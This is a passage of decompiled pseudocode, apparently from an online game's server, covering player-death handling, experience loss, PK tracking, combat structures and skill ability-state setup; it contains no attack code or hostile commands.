*v65; // [sp+58h] [bp-BCh]@2 int (__thiscall *v66)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // [sp+5Ch] [bp-B8h]@0 std::vector > *pkcount; // [sp+6Ch] [bp-A8h]@11 int pkcounta; // [sp+6Ch] [bp-A8h]@49 float pkcountb; // [sp+6Ch] [bp-A8h]@65 int lostexp; // [sp+70h] [bp-A4h]@20 int Start; // [sp+74h] [bp-A0h]@43 ITEM_INVEN loc; // [sp+78h] [bp-9Ch]@23 ListTraveler lt; // [sp+7Ch] [bp-98h]@13 FunctionEntarance _; // [sp+88h] [bp-8Ch]@1 AbnormalStateContainer::AbstateElementInObject tmp; // [sp+8Ch] [bp-88h]@30 int v76; // [sp+110h] [bp-4h]@1 int lot_rate; // [sp+128h] [bp+14h]@0 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_KilledBy"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_KilledBy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_KilledBy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_BYTE *)(v4 + 7368); v76 = 0; if ( !(v5 & 8) ) { *(_BYTE *)(v4 + 7368) = v5 | 8; if ( **(_BYTE **)(v4 + 3716) == 5 ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth((void *)v4); if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 988))(v4, 291) ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1352))(v4); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v8[16] = 0; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1136))(v4) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseOff((void *)v4); if ( *(_DWORD *)(v4 + 92176) != 4 ) { *(_DWORD *)(v4 + 92164) = 0; *(_DWORD *)(v4 + 92168) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *(_DWORD *)(v4 + 92180) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *(_DWORD *)(v4 + 92176) = 0; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); v10 = *(_WORD *)(*(_DWORD *)(v9 + 3488) + 12 * *(_WORD *)(v9 + 3494) + 4); pkcount = (std::vector > *)v9; while ( 1 ) { v11 = *(_WORD *)(v9 + 3484); if ( v10 >= v11 ) break; v12 = *(_DWORD *)(v9 + 3488); lt.lt_NextElement = *(_WORD *)(v12 + 12 * v10 + 4); if ( *(_BYTE *)(v12 + 12 * v10 + 8) ) v13 = *(_DWORD *)(v12 + 12 * v10); else v13 = 0; v14 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v13 + 4)); if ( v10 < v11 && (v15 = v12 + 12 * v10, *(_BYTE *)(v15 + 8)) ) { (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v14 + 20))(v4, *(_DWORD *)v15); v10 = lt.lt_NextElement; v9 = (int)pkcount; } else { (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v14 + 20))(v4, 0); v10 = lt.lt_NextElement; v9 = (int)pkcount; } } lostexp = 0; v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); if ( *(_WORD *)(v16 + 3484) > 0x127u ) { v17 = *(_DWORD *)(*(_DWORD *)(v16 + 3488) + 3540); if ( v17 ) lostexp = *(_DWORD *)(v17 + 76); } if ( ShineObjectClass::ShinePlayer::sp_FindItemFromInventory((void *)v4, word_125741CC, (int)&loc) ) { pkcount = &AbnormalStateShelter::AbstateShelter::operator__(&g_AbstateShelter, *(_DWORD *)(v4 + 32021))->ab_List; std::vector>::resize( pkcount, 0); for ( LOWORD(v18) = *(_WORD *)(*(_DWORD *)(v4 + 3692) + 12 * *(_WORD *)(v4 + 3698) + 4); ; LOWORD(v18) = lt.lt_NextElement ) { if ( (unsigned __int16)v18 >= *(_WORD *)(v4 + 3688) ) break; v19 = *(_DWORD *)(v4 + 3692); v20 = (unsigned __int16)v18 < *(_WORD *)(v4 + 3688); v18 = (unsigned __int16)v18; lt.lt_NextElement = *(_WORD *)(v19 + 12 * (unsigned __int16)v18 + 4); if ( v20 ) { v21 = v19 + 12 * v18; if ( *(_BYTE *)(v21 + 8) ) { if ( *(_DWORD *)v21 ) { memcpy(&tmp, *(const void **)v21, 0x74u); v22 = *((_DWORD *)&unk_611F6C + 3 * tmp.aeo_Index); LOBYTE(v76) = 1; if ( v22 && *(_DWORD *)v22 ) { v23 = *(_DWORD *)(*(_DWORD *)v22 + 34); if ( v23 >= 412 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v23); LOBYTE(v76) = 0; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&tmp); continue; } v24 = dword_615280[v23]; if ( v24 && *(_DWORD *)(*(_DWORD *)v24 + 244) == 1 ) std::vector>::push_back( pkcount, &tmp); } LOBYTE(v76) = 0; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&tmp); } } } } } v25 = a2; ShineObjectClass::ShineMobileObject::so_KilledBy((#325 *)v4, a2, damage, aggrorate); v26 = (void *)(*(_DWORD *)(v4 + 32010) + 29); if ( *(_BYTE *)(v4 + 89071) ) { memcpy(v26, (const void *)(v4 + 89024), 0x2Cu); v27 = (int)((char *)v26 + 44); *(_WORD *)v27 = *(_WORD *)(v4 + 89068); *(_BYTE *)(v27 + 2) = *(_BYTE *)(v4 + 89070); v25 = a2; *(_BYTE *)(v4 + 89071) = 0; } if ( pkcount ) { v28 = dword_61571C[0]; (*(void (__thiscall **)(int, int, _DWORD, signed int, _DWORD *, int, _DWORD, std::vector > *, _DWORD, signed int))(*(_DWORD *)v4 + 1528))( v4, v4, *(_DWORD *)(*dword_61571C[0] + 34), 1, dword_61571C[0], lostexp, 0, pkcount, 0, 9); ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v4, *(_DWORD *)(*v28 + 34)); v29 = v28[11]; if ( v29 ) { (*(void (__thiscall **)(int, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 992))( v4, *(_DWORD *)(*v28 + 34), *(_DWORD *)(v29 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( (void *)v4, *(_DWORD *)(*v28 + 34), *(_DWORD *)(v28[11] + 43), 1); } } v30 = *(_DWORD *)v4; *(_DWORD *)(v4 + 32059) = 0; *(_DWORD *)(v4 + 89912) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v31 = (*(int (__thiscall **)(int, int))(v30 + 1044))(v4, lot_rate); Start = v31; if ( v25 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v25 + 2112))(v25) ) { ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled( v4, v4, (int)ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob, v66); v32 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v25 + 1716))(v25, *(_WORD *)(v25 + 4)); CCharacterTitleZone::CT_KilledByMob((CCharacterTitleZone *)(v4 + 89920), v32, v33); } else { v34 = *(_DWORD *)(v4 + 98); if ( v34 && (*(_BYTE *)(v34 + 84) || *(_BYTE *)(*(_DWORD *)(v34 + 16) + 54) == 4) ) { lostexp = ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled( v4, v4, (int)ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField, v66); v35 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 900))(v25); v36 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9290; pkcounta = v35; *((_WORD *)v36 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 832))(v25); v37 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 836))(v25); *((_DWORD *)v36 + 2) = pkcounta; *((_DWORD *)v36 + 1) = v37; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v38 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v38); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_KilledBy : Packet Too Long", 12); } v39 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9291; *((_WORD *)v39 + 1) = *(_WORD *)(v25 + 4); *((_WORD *)v39 + 2) = *(_WORD *)(v4 + 4); *(_DWORD *)(v39 + 6) = pkcounta; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v40 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v40 + 12))(v40, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 10); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v41 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 764))(v25); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v41 + 12))(v41, v25, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 10); } } v42 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1996))(v4); v43 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 1996))(v25); if ( CGuildZone::IsGuildEnemy(&gGuild, v43, v42) ) { v44 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29765; *((_WORD *)v44 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 832))(v25); *((_WORD *)v44 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v45 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v45); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_KilledBy : Packet Too Long", 6); } } v46 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 1044))(v25); ++*(_DWORD *)(Start + 32); ++*(_DWORD *)(v46 + 36); v47 = (double)*(unsigned int *)(Start + 40); v48 = (double)*(unsigned int *)(v46 + 40); if ( v47 >= v48 ) v49 = v48; else v49 = v47; pkcountb = v49 / (v48 + v47); if ( v48 <= v47 ) v50 = 1.0 - pkcountb; else v50 = pkcountb * pkcountb + pkcountb * pkcountb; v51 = (unsigned __int64)(v50 * 1000.0); v52 = *(_DWORD *)(Start + 40) - v51; if ( (unsigned int)v52 < 0x3E8 ) v52 = 1000; *(_DWORD *)(Start + 40) = v52; *(_DWORD *)(v46 + 40) += v51; v31 = Start; } } ShineObjectClass::ShinePlayer::sp_KQElementFunction((void *)v4, KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus); *(_DWORD *)(v31 + 28) += 50; v53 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4173; v53[2] = 2; v53[3] = 50; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v54 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v54 + 12))(v54, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 4); } *(_DWORD *)(v4 + 92716) = clockwatch.cw_CurrTick + 620 * (unsigned __int8)v53[2]; if ( v25 ) { v58 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 2112))(v25); v59 = gpp.pp_Buffer; if ( !v58 ) { *(_WORD *)gpp.pp_Buffer = 1065; *(_DWORD *)(v59 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 836))(v25); v62 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v59 + 6) = *(_DWORD *)v62; *(_DWORD *)(v59 + 10) = *(_DWORD *)(v62 + 4); *(_DWORD *)(v59 + 14) = *(_DWORD *)(v62 + 8); v63 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v59 + 18) = *(_DWORD *)v63; *(_DWORD *)(v59 + 22) = *(_DWORD *)(v63 + 4); *(_DWORD *)(v59 + 26) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v59 + 30) = 0; v59[34] = 0; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 35) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_KilledBy : Packet Too Long", 35); goto LABEL_83; } LABEL_82: v64 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v64); goto LABEL_83; } *(_WORD *)gpp.pp_Buffer = 1067; *(_DWORD *)(v59 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v60 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v59 + 6) = *(_DWORD *)v60; *(_DWORD *)(v59 + 10) = *(_DWORD *)(v60 + 4); *(_DWORD *)(v59 + 14) = *(_DWORD *)(v60 + 8); v61 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v59 + 18) = *(_DWORD *)v61; *(_DWORD *)(v59 + 22) = *(_DWORD *)(v61 + 4); *((_WORD *)v59 + 13) = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 1716))(v25); *(_QWORD *)(v59 + 28) = lostexp; } else { v55 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1067; *(_DWORD *)(v55 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v56 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v55 + 6) = *(_DWORD *)v56; *(_DWORD *)(v55 + 10) = *(_DWORD *)(v56 + 4); *(_DWORD *)(v55 + 14) = *(_DWORD *)(v56 + 8); v57 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v55 + 18) = *(_DWORD *)v57; *(_DWORD *)(v55 + 22) = *(_DWORD *)(v57 + 4); *((_WORD *)v55 + 13) = -1; *(_QWORD *)(v55 + 28) = lostexp; } if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 36) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_KilledBy : Packet Too Long", 36); LABEL_83: (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 2512))(v4, 1, 0, 0); v76 = -1; v65 = "ShineObjectClass::ShinePlayer::so_KilledBy"; goto LABEL_84; } goto LABEL_82; } v76 = -1; v65 = "ShineObjectClass::ShinePlayer::so_KilledBy"; LABEL_84: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v65); } // 125741CC: using guessed type __int16 word_125741CC; //----- (00424D20) -------------------------------------------------------- void __thiscall SpyNet::EspionageAgent::ea_SRT_GETHEAL(SpyNet::EspionageAgent *this, #325 *a2, int heal, int aggrorate) { char *v4; // ebx@1 unsigned int v5; // edx@1 v4 = (char *)this + 16 * this->ea_Pointer.value; *(_DWORD *)v4 = 1; *((_DWORD *)v4 + 1) = a2; *((_DWORD *)v4 + 2) = heal; *((_DWORD *)v4 + 3) = aggrorate; v5 = this->ea_Pointer.mask & (this->ea_Pointer.value + 1); this->ea_Pointer.value = this->ea_Pointer.mask & (this->ea_Pointer.value + 1); this->ea_SecretReport[v5].sr_Type = 0; } //----- (00424D80) -------------------------------------------------------- void __thiscall MultiHitArgument::MultiHitArgument(MultiHitArgument *this) { this->mha_HitStep = -1; this->mha_DamageRate = 1000; this->mha_AbState[0].mha_AbStateRate = 0; this->mha_AbState[0].mha_AbStateIndex = 412; this->mha_AbState[0].mha_AbStateStrength = 0; this->mha_AbState[1].mha_AbStateRate = 0; this->mha_AbState[1].mha_AbStateIndex = 412; this->mha_AbState[1].mha_AbStateStrength = 0; this->mha_AbState[2].mha_AbStateRate = 0; this->mha_AbState[2].mha_AbStateIndex = 412; this->mha_AbState[2].mha_AbStateStrength = 0; this->mha_AbState[3].mha_AbStateRate = 0; this->mha_AbState[3].mha_AbStateIndex = 412; this->mha_AbState[3].mha_AbStateStrength = 0; } //----- (00424DC0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this) { this->bos_Defender = -1; this->bos_Attacker = -1; this->bos_MyHealKill = 0; this->bos_MyHealHit = 0; this->bos_AbsoluteAggro = 0; this->bos_Heal = 0; this->bos_Damage = 0; this->bos_DamageRateAggro = 1000; this->bos_AbstateList.statenum = 0; *(_DWORD *)&this->gap84[12] = 0; this->bos_StealedEnchant = 412; } //----- (00424E00) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this, unsigned __int16 attacker, unsigned __int16 defender) { memcpy(this, &battleobjectstructclear, 0x98u); this->bos_Attacker = attacker; this->bos_Defender = defender; } //----- (00424E30) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObject::BattleObject(BattleObjectGroup::BattleObject *this) { this->bo_Struct.bos_Defender = -1; this->bo_Struct.bos_Attacker = -1; this->bo_Struct.bos_MyHealKill = 0; this->bo_Struct.bos_MyHealHit = 0; this->bo_Struct.bos_AbsoluteAggro = 0; this->bo_Struct.bos_Heal = 0; this->bo_Struct.bos_Damage = 0; this->bo_Struct.bos_DamageRateAggro = 1000; this->bo_Struct.bos_AbstateList.statenum = 0; *(_DWORD *)&this->bo_Struct.gap84[12] = 0; this->bo_Struct.bos_StealedEnchant = 412; MoveManager::MoveManager((DiceTaiSai *)&this->bo_SetItem); } //----- (00424E80) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObject::_BattleObject(BattleObjectGroup::BattleObject *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->bo_SetItem); } //----- (00424E90) -------------------------------------------------------- unsigned __int16 __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(SkillEffectApply::SkillBlastEffectContainer *this) { unsigned __int16 result; // ax@1 result = (this->sbec_Index + 1) & 0x7FFF; this->sbec_Index = result; return result; } //----- (00424EB0) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffect::SkillBlastEffect(SkillEffectApply::SkillBlastEffect *this) { this->sbe_MultiHitArgument.mha_HitStep = -1; this->sbe_MultiHitArgument.mha_DamageRate = 1000; this->sbe_MultiHitArgument.mha_AbState[0].mha_AbStateRate = 0; this->sbe_MultiHitArgument.mha_AbState[0].mha_AbStateIndex = 412; this->sbe_MultiHitArgument.mha_AbState[0].mha_AbStateStrength = 0; this->sbe_MultiHitArgument.mha_AbState[1].mha_AbStateRate = 0; this->sbe_MultiHitArgument.mha_AbState[1].mha_AbStateIndex = 412; this->sbe_MultiHitArgument.mha_AbState[1].mha_AbStateStrength = 0; this->sbe_MultiHitArgument.mha_AbState[2].mha_AbStateRate = 0; this->sbe_MultiHitArgument.mha_AbState[2].mha_AbStateIndex = 412; this->sbe_MultiHitArgument.mha_AbState[2].mha_AbStateStrength = 0; this->sbe_MultiHitArgument.mha_AbState[3].mha_AbStateRate = 0; this->sbe_MultiHitArgument.mha_AbState[3].mha_AbStateIndex = 412; this->sbe_MultiHitArgument.mha_AbState[3].mha_AbStateStrength = 0; } //----- (00424EF0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 100; return result; } //----- (00424F10) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 14; return result; } //----- (00424F40) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5A8240: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (00424F60) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, BattleObjectGroup::BattleObject *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { memcpy(v3, ele, 0xE0u); result = 1; } else { result = 0; } return result; } //----- (00424FA0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, BattleObjectGroup::BattleObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xE0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00424FF0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, BattleObjectGroup::BattleObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xE0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00425040) -------------------------------------------------------- void __cdecl std::fill(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Val) { SkillEffectApply::SkillBlastEffect *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x64u); } } //----- (00425070) -------------------------------------------------------- void __cdecl std::fill(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *i; // eax@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v4; // edi@2 for ( i = _First; i != _Last; v4->hpchangeorder = _Val->hpchangeorder ) { v4 = i; *(_DWORD *)&i->handle = *(_DWORD *)&_Val->handle; i->hpchange = _Val->hpchange; i->resthp = _Val->resthp; ++i; } } //----- (004250B0) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_backward_opt(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v4; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; result->hpchangeorder = v4->hpchangeorder ) { --v4; --result; *(_DWORD *)&result->handle = *(_DWORD *)&v4->handle; result->hpchange = v4->hpchange; result->resthp = v4->resthp; } return result; } //----- (004250F0) -------------------------------------------------------- void __thiscall MultiHitArgument::mha_SetAbState(MultiHitArgument *this, int sub, char *statename, int rate, int strength) { MultiHitArgument *v5; // esi@1 int v6; // eax@2 unsigned int v7; // eax@3 int v8; // eax@4 int v9; // ecx@5 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MultiHitArgument::mha_SetAbState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MultiHitArgument::mha_SetAbState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *statename == 45 ) { v6 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v6 + 8) = 0; *(_DWORD *)(v6 + 12) = 412; *(_DWORD *)(v6 + 16) = 0; } else { v7 = BTree::operator__(&unk_615CF4, statename); if ( v7 == -1 ) { v8 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v8 + 8) = 0; *(_DWORD *)(v8 + 12) = 412; *(_DWORD *)(v8 + 16) = 0; } else { v9 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v9 + 12) = v7; *(_DWORD *)(v9 + 8) = rate; *(_DWORD *)(v9 + 16) = strength; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MultiHitArgument::mha_SetAbState"); } //----- (004251F0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::_BattleObjectList(BattleObjectGroup::BattleObjectList *this) { BattleObjectGroup::BattleObjectList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->bol_Array, 0xE0u, 1024, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::_BattleObject); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5A8240: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (00425260) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange"); } //----- (004252A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo(#325 *this, char *a2) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 int v7; // eax@1 unsigned int v8; // ecx@1 char *v9; // ecx@1 char result; // al@4 int v11; // eax@9 int v12; // eax@10 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v14; // [sp+10h] [bp-4h]@1 v2 = (void *)this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v14 = 0; v4 = (*(int (__thiscall **)(void *))(v3 + 1352))(v2); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)v4; *((_DWORD *)v6 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v4 + 12); v6[16] = 0; (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1996))(v2); v7 = (*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1352))(a2); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); *((_DWORD *)v9 + 3) = *(_DWORD *)(v7 + 12); v9[16] = 0; (*(void (__thiscall **)(char *))(*(_DWORD *)a2 + 1996))(a2); if ( !(*((_BYTE *)v2 + 7368) & 4) && *((_WORD *)v2 + 2) != *((_WORD *)a2 + 2) && ShineObjectClass::ShineObject::so_SubLayer_CanAttack(v2, (int)a2) ) { if ( *(_DWORD *)((char *)v2 + 98) && (unsigned __int8)(*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1136))(a2) != 3 && (unsigned __int8)(*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1136))(a2) && (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) != 3 && ((v11 = (*(int (__thiscall **)(char *))(*(_DWORD *)a2 + 1720))(a2)) == 0 || (v12 = *(_DWORD *)(*(_DWORD *)v11 + 99), v12 != 18) && v12 